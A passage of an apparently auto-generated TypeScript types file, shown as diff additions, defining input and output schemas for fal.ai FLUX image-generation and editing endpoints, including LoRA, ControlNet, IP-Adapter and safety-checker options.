InputFalAiFlux2KleinRealtimeImageSizeEnumKey = + (typeof inputFalAiFlux2KleinRealtimeImageSizeEnum)[keyof typeof inputFalAiFlux2KleinRealtimeImageSizeEnum] + +export type InputFalAiFlux2KleinRealtime = { + /** + * @minimum 1 + * @maximum 8 + * @default 3 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Schedule mu for time shift. 2.3=default, lower=more even denoising, 0.3=nearly linear. + * @minimum 0.3 + * @maximum 2.5 + * @default 2.3 + * @type number | undefined + */ + schedule_mu?: number + /** + * @description Enable RIFE frame interpolation between consecutive frames (doubles output frames). + * @default false + * @type boolean | undefined + */ + enable_interpolation?: boolean + /** + * @description The prompt to guide image editing. + * @default 'Turn this into "Living oil painting, melting gold and sapphire"' + * @example Turn this into a watercolor painting + * @type string | undefined + */ + prompt?: string + /** + * @description Random seed for reproducibility. + * @default 35 + */ + seed?: number | null + /** + * @description Base64-encoded image data URI for editing. CDN URLs are not supported for realtime. For optimal performance, use 704x704 JPEG images with 50% quality. Other sizes will be resized automatically. + * @type string + */ + image_url: string + /** + * @description The size of the generated image. square=768x768, square_hd=1024x1024. + * @default 'square' + * @type string | undefined + */ + image_size?: InputFalAiFlux2KleinRealtimeImageSizeEnumKey + /** + * @description Output feedback loop. 1.0 = pure noise (no feedback), 0.9 = 90% noise + 10% previous output latent. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + output_feedback_strength?: number +} + +export type RawImage = { + width: number + /** + * @default 'image/jpeg' + * @type string | undefined + */ + content_type?: string + height: number + /** + * @description + * Format: `binary` + * @type string + */ + content: Blob +} + +export type OutputFalAiFlux2KleinRealtime = { + /** + * @description Seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated images as raw bytes. When interpolation is enabled, returns [interpolated_frame, current_frame] in chronological order. Otherwise returns [current_frame]. + * @type array + */ + images: RawImage[] +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInput98A7E8C7 = { + /** + * @description URL, HuggingFace repo ID (owner/repo), or local path to LoRA weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSize439Bfc3B = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2LoraAccelerationEnumKey = + (typeof inputFalAiFlux2LoraAccelerationEnum)[keyof typeof inputFalAiFlux2LoraAccelerationEnum] + +export const inputFalAiFlux2LoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraImageSizeKey = + (typeof inputFalAiFlux2LoraImageSize)[keyof typeof inputFalAiFlux2LoraImageSize] + +export const inputFalAiFlux2LoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraOutputFormatEnum] + +export type InputFalAiFlux2Lora = { + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description List of LoRA weights to apply (maximum 3). Each LoRA can be a URL, HuggingFace repo ID, or local path. + * @default [] + * @type array | undefined + */ + loras?: LoRAInput98A7E8C7[] + /** + * @description If set to true, the prompt will be expanded for better results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Guidance Scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The acceleration level to use for the image generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example Close shot a pianist plays in a luxurious room with tall windows overlooking a rainy metropolis. Shot with a 50mm lens at a side profile angle, soft tungsten light highlighting hands moving over keys. Capture detailed reflections in polished black piano surfaces, raindrops sliding down glass, and atmospheric warm/cool lighting contrast. + * @type string + */ + prompt: string + /** + * @description The size of the image to generate. The width and height must be between 512 and 2048 pixels. + * @default landscape_4_3 + */ + image_size?: ImageSize439Bfc3B | InputFalAiFlux2LoraImageSizeKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageFileF6799Aed = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Lora = { + /** + * @description The generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2_dev_lora_t2i_output.png"}] + * @type array + */ + images: ImageFileF6799Aed[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInput92F1B162 = { + /** + * @description URL, HuggingFace repo ID (owner/repo), or local path to LoRA weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeA97C59Ce = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraEditAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2LoraEditAccelerationEnumKey = + (typeof inputFalAiFlux2LoraEditAccelerationEnum)[keyof typeof inputFalAiFlux2LoraEditAccelerationEnum] + +export const inputFalAiFlux2LoraEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraEditImageSizeKey = + (typeof inputFalAiFlux2LoraEditImageSize)[keyof typeof inputFalAiFlux2LoraEditImageSize] + +export const inputFalAiFlux2LoraEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraEditOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraEditOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraEditOutputFormatEnum] + +export type InputFalAiFlux2LoraEdit = { + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description List of LoRA weights to apply (maximum 3). Each LoRA can be a URL, HuggingFace repo ID, or local path. + * @default [] + * @type array | undefined + */ + loras?: LoRAInput92F1B162[] + /** + * @description If set to true, the prompt will be expanded for better results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/flux2_dev_lora_edit_input.png"] + * @type array + */ + image_urls: string[] + /** + * @description The acceleration level to use for the image generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraEditAccelerationEnumKey + /** + * @description Guidance Scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The size of the image to generate. The width and height must be between 512 and 2048 pixels. + * @example {"height":1152,"width":2016} + */ + image_size?: ImageSizeA97C59Ce | InputFalAiFlux2LoraEditImageSizeKey | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraEditOutputFormatEnumKey + /** + * @description The prompt to generate an image from. + * @example Make this donut realistic + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFileE70025A8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2LoraEdit = { + /** + * @description The edited images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2_dev_lora_edit_output.png"}] + * @type array + */ + images: ImageFileE70025A8[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize5Ed33115 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2TurboImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2TurboImageSizeKey = + (typeof inputFalAiFlux2TurboImageSize)[keyof typeof inputFalAiFlux2TurboImageSize] + +export const inputFalAiFlux2TurboOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2TurboOutputFormatEnumKey = + (typeof inputFalAiFlux2TurboOutputFormatEnum)[keyof typeof inputFalAiFlux2TurboOutputFormatEnum] + +export type InputFalAiFlux2Turbo = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The prompt to generate an image from. + * @example A realistic photograph of a vintage typewriter with a sheet of paper inserted that says 'Chapter One: The Journey Begins,' sunlight falling across the desk. + * @type string + */ + prompt: string + /** + * @description Guidance Scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the prompt will be expanded for better results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the image to generate. The width and height must be between 512 and 2048 pixels. + * @default landscape_4_3 + */ + image_size?: ImageSize5Ed33115 | InputFalAiFlux2TurboImageSizeKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2TurboOutputFormatEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageFileC80B59B9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Turbo = { + /** + * @description The generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux-2-turbo-t2i.png"}] + * @type array + */ + images: ImageFileC80B59B9[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize1Af67600 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2TurboEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2TurboEditOutputFormatEnumKey = + (typeof inputFalAiFlux2TurboEditOutputFormatEnum)[keyof typeof inputFalAiFlux2TurboEditOutputFormatEnum] + +export const inputFalAiFlux2TurboEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2TurboEditImageSizeKey = + (typeof inputFalAiFlux2TurboEditImageSize)[keyof typeof inputFalAiFlux2TurboEditImageSize] + +export type InputFalAiFlux2TurboEdit = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to edit the image. + * @example Change the weather to winter + * @type string + */ + prompt: string + /** + * @description If set to true, the prompt will be expanded for better results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Guidance Scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2TurboEditOutputFormatEnumKey + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed, if more are provided, only the first 4 will be used. + * @example ["https://storage.googleapis.com/falserverless/example_outputs/flux-2-turbo.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the image to generate. The width and height must be between 512 and 2048 pixels. + * @default square_hd + */ + image_size?: ImageSize1Af67600 | InputFalAiFlux2TurboEditImageSizeKey | null +} + +export type ImageFile9648336C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2TurboEdit = { + /** + * @description The edited images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux-2-turbo-edit.png"}] + * @type array + */ + images: ImageFile9648336C[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type LoraWeight2668077C = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. Providing a dictionary as {"layer_name":layer_scale} allows per-layer lora scale settings. Layers with no scale provided will have scale 1.0. + * + * @default 1 + */ + scale?: + | { + [key: string]: number + } + | number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const controlNetUnionInputControlModeEnum = { + canny: 'canny', + tile: 'tile', + depth: 'depth', + blur: 'blur', + pose: 'pose', + gray: 'gray', + 'low-quality': 'low-quality', +} as const + +export type ControlNetUnionInputControlModeEnumKey = + (typeof controlNetUnionInputControlModeEnum)[keyof typeof controlNetUnionInputControlModeEnum] + +export type ControlNetUnionInput = { + /** + * @description URL of the mask for the control image. + * @type string | undefined + */ + mask_image_url?: string + /** + * @description + * The percentage of the image to end applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_percentage?: number + /** + * @description URL of the image to be used as the control image. + * @type string + */ + control_image_url: string + /** + * @description + * The scale of the control net weight. This is used to scale the control net weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + conditioning_scale?: number + /** + * @description Control Mode for Flux Controlnet Union. Supported values are: + * - canny: Uses the edges for guided generation. + * - tile: Uses the tiles for guided generation. + * - depth: Utilizes a grayscale depth map for guided generation. + * - blur: Adds a blur to the image. + * - pose: Uses the pose of the image for guided generation. + * - gray: Converts the image to grayscale. + * - low-quality: Converts the image to a low-quality image. + * @type string + */ + control_mode: ControlNetUnionInputControlModeEnumKey + /** + * @description + * The percentage of the image to start applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + start_percentage?: number + /** + * @description Threshold for mask. + * @minimum 0.01 + * @maximum 0.99 + * @default 0.5 + * @type number | undefined + */ + mask_threshold?: number +} + +export type ControlNetUnion = { + /** + * @description The control images and modes to use for the control net. + * @type array + */ + controls: ControlNetUnionInput[] + /** + * @description URL or the path to the control net weights. + * @type string + */ + path: string + /** + * @description optional URL to the controlnet config.json file. + */ + config_url?: string | null + /** + * @description The optional variant if a Hugging Face repo key is used. + */ + variant?: string | null +} + +export type IPAdapter = { + /** + * @description Subfolder in which the ip_adapter weights exist + */ + subfolder?: string | null + /** + * @description Scale for ip adapter. + * @type number + */ + scale: number + /** + * @description Hugging Face path to the IP-Adapter + * @type string + */ + path: string + /** + * @description Path to the Image Encoder for the IP-Adapter, for example 'openai/clip-vit-large-patch14' + * @type string + */ + image_encoder_path: string + /** + * @description Subfolder in which the image encoder weights exist. + */ + image_encoder_subfolder?: string | null + /** + * @description Name of the image encoder. + */ + image_encoder_weight_name?: string | null + /** + * @description URL of Image for IP-Adapter conditioning. + * @type string + */ + image_url: string + /** + * @description URL of the mask for the control image. + */ + mask_image_url?: string | null + /** + * @description Name of the safetensors file containing the ip-adapter weights + */ + weight_name?: string | null + /** + * @description Threshold for mask. + * @minimum 0.01 + * @maximum 0.99 + * @default 0.5 + * @type number | undefined + */ + mask_threshold?: number +} + +export type ImageSizeEdac517E = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const controlLoraWeightPreprocessEnum = { + canny: 'canny', + depth: 'depth', + None: 'None', +} as const + +export type ControlLoraWeightPreprocessEnumKey = + (typeof controlLoraWeightPreprocessEnum)[keyof typeof controlLoraWeightPreprocessEnum] + +export type ControlLoraWeight = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. Providing a dictionary as {"layer_name":layer_scale} allows per-layer lora scale settings. Layers with no scale provided will have scale 1.0. + * + * @default 1 + */ + scale?: + | { + [key: string]: number + } + | number + /** + * @description URL of the image to be used as the control image. + * @type string + */ + control_image_url: string + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description Type of preprocessing to apply to the input image. + * @default 'None' + * @type string | undefined + */ + preprocess?: ControlLoraWeightPreprocessEnumKey +} + +export type ImageFillInput = { + /** + * @description URLs of images to be filled for redux prompting + * @default [] + */ + fill_image_url?: string | string[] +} + +export type ControlNet = { + /** + * @description The optional variant if a Hugging Face repo key is used. + */ + variant?: string | null + /** + * @description + * The percentage of the image to end applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_percentage?: number + /** + * @description URL of the image to be used as the control image. + * @type string + */ + control_image_url: string + /** + * @description optional URL to the controlnet config.json file. + */ + config_url?: string | null + /** + * @description URL or the path to the control net weights. + * @type string + */ + path: string + /** + * @description + * The scale of the control net weight. This is used to scale the control net weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + conditioning_scale?: number + /** + * @description + * The percentage of the image to start applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + start_percentage?: number + /** + * @description URL of the mask for the control image. + * @type string | undefined + */ + mask_image_url?: string + /** + * @description Threshold for mask. + * @minimum 0.01 + * @maximum 0.99 + * @default 0.5 + * @type number | undefined + */ + mask_threshold?: number +} + +export const easyControlWeightImageControlTypeEnum = { + subject: 'subject', + spatial: 'spatial', +} as const + +export type EasyControlWeightImageControlTypeEnumKey = + (typeof easyControlWeightImageControlTypeEnum)[keyof typeof easyControlWeightImageControlTypeEnum] + +export type EasyControlWeight = { + /** + * @description Control type of the image. Must be one of `spatial` or `subject`. + * @type string + */ + image_control_type: EasyControlWeightImageControlTypeEnumKey + /** + * @description Scale for the control method. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL to safetensor weights of control method to be applied. Can also be one of `canny`, `depth`, `hedsketch`, `inpainting`, `pose`, `seg`, `subject`, `ghibli` + * @example canny + * @example depth + * @example hedsketch + * @example inpainting + * @example pose + * @example seg + * @example subject + * @example ghibli + * @type string + */ + control_method_url: string + /** + * @description URL of an image to use as a control + * @type string + */ + image_url: string +} + +export const inputFalAiFluxGeneralImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxGeneralImageSizeKey = + (typeof inputFalAiFluxGeneralImageSize)[keyof typeof inputFalAiFluxGeneralImageSize] + +export const inputFalAiFluxGeneralOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxGeneralOutputFormatEnumKey = + (typeof inputFalAiFluxGeneralOutputFormatEnum)[keyof typeof inputFalAiFluxGeneralOutputFormatEnum] + +export const inputFalAiFluxGeneralSchedulerEnum = { + euler: 'euler', + dpmpp_2m: 'dpmpp_2m', +} as const + +export type InputFalAiFluxGeneralSchedulerEnumKey = + (typeof inputFalAiFluxGeneralSchedulerEnum)[keyof typeof inputFalAiFluxGeneralSchedulerEnum] + +export type InputFalAiFluxGeneral = { + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight2668077C[] + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The tau for NAG. Controls the normalization of the hidden state. + * Higher values will result in a less aggressive normalization, + * but may also lead to unexpected changes with respect to the original image. + * Not recommended to change this value. + * + * @default 2.5 + * @type number | undefined + */ + nag_tau?: number + /** + * @description + * The percentage of the total timesteps when the reference guidance is to be ended. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + reference_end?: number + /** + * @description Max shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 1.15 + * @type number | undefined + */ + max_shift?: number + /** + * @description + * The proportion of steps to apply NAG. After the specified proportion + * of steps has been iterated, the remaining steps will use original + * attention processors in FLUX. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_end?: number + /** + * @description + * The controlnet unions to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnet_unions?: ControlNetUnion[] + /** + * @description + * Uses classical CFG as in SD1.5, SDXL, etc. Increases generation times and price when set to be true. + * If using XLabs IP-Adapter v1, this will be turned on!. + * + * @default false + * @type boolean | undefined + */ + use_real_cfg?: boolean + /** + * @description + * The alpha value for NAG. This value is used as a final weighting + * factor for steering the normalized guidance (positive and negative prompts) + * in the direction of the positive prompt. Higher values will result in less + * steering on the normalized guidance where lower values will result in + * considering the positive prompt guidance more. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_alpha?: number + /** + * @description + * IP-Adapter to use for image generation. + * + * @default [] + * @type array | undefined + */ + ip_adapters?: IPAdapter[] + /** + * @description The size of the generated image. + */ + image_size?: ImageSizeEdac517E | InputFalAiFluxGeneralImageSizeKey + /** + * @description + * Negative prompt to steer the image generation away from unwanted features. + * By default, we will be using NAG for processing the negative prompt. + * + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The LoRAs to use for the image generation which use a control image. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + control_loras?: ControlLoraWeight[] + /** + * @description Specifies whether beta sigmas ought to be used. + * @default false + * @type boolean | undefined + */ + use_beta_schedule?: boolean + /** + * @description Sigmas schedule for the denoising process. + */ + sigma_schedule?: 'sgm_uniform' | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFluxGeneralOutputFormatEnumKey + /** + * @description + * Uses CFG-zero init sampling as in https://arxiv.org/abs/2503.18886. + * + * @default false + * @type boolean | undefined + */ + use_cfg_zero?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 5 + * @default 3.5 + * @type number | undefined + */ + real_cfg_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Use an image input to influence the generation. Can be used to fill images in masked areas. + */ + fill_image?: ImageFillInput | null + /** + * @description + * The controlnets to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnets?: ControlNet[] + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description Strength of reference_only generation. Only used if a reference image is provided. + * @minimum -3 + * @maximum 3 + * @default 0.65 + * @type number | undefined + */ + reference_strength?: number + /** + * @description Base shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 0.5 + * @type number | undefined + */ + base_shift?: number + /** + * @description + * The scale for NAG. Higher values will result in a image that is more distant + * to the negative prompt. + * + * @maximum 10 + * @default 3 + * @type number | undefined + */ + nag_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Scheduler for the denoising process. + * @default 'euler' + * @type string | undefined + */ + scheduler?: InputFalAiFluxGeneralSchedulerEnumKey + /** + * @description + * EasyControl Inputs to use for image generation. + * + * @default [] + * @type array | undefined + */ + easycontrols?: EasyControlWeight[] + /** + * @description + * The percentage of the total timesteps when the reference guidance is to 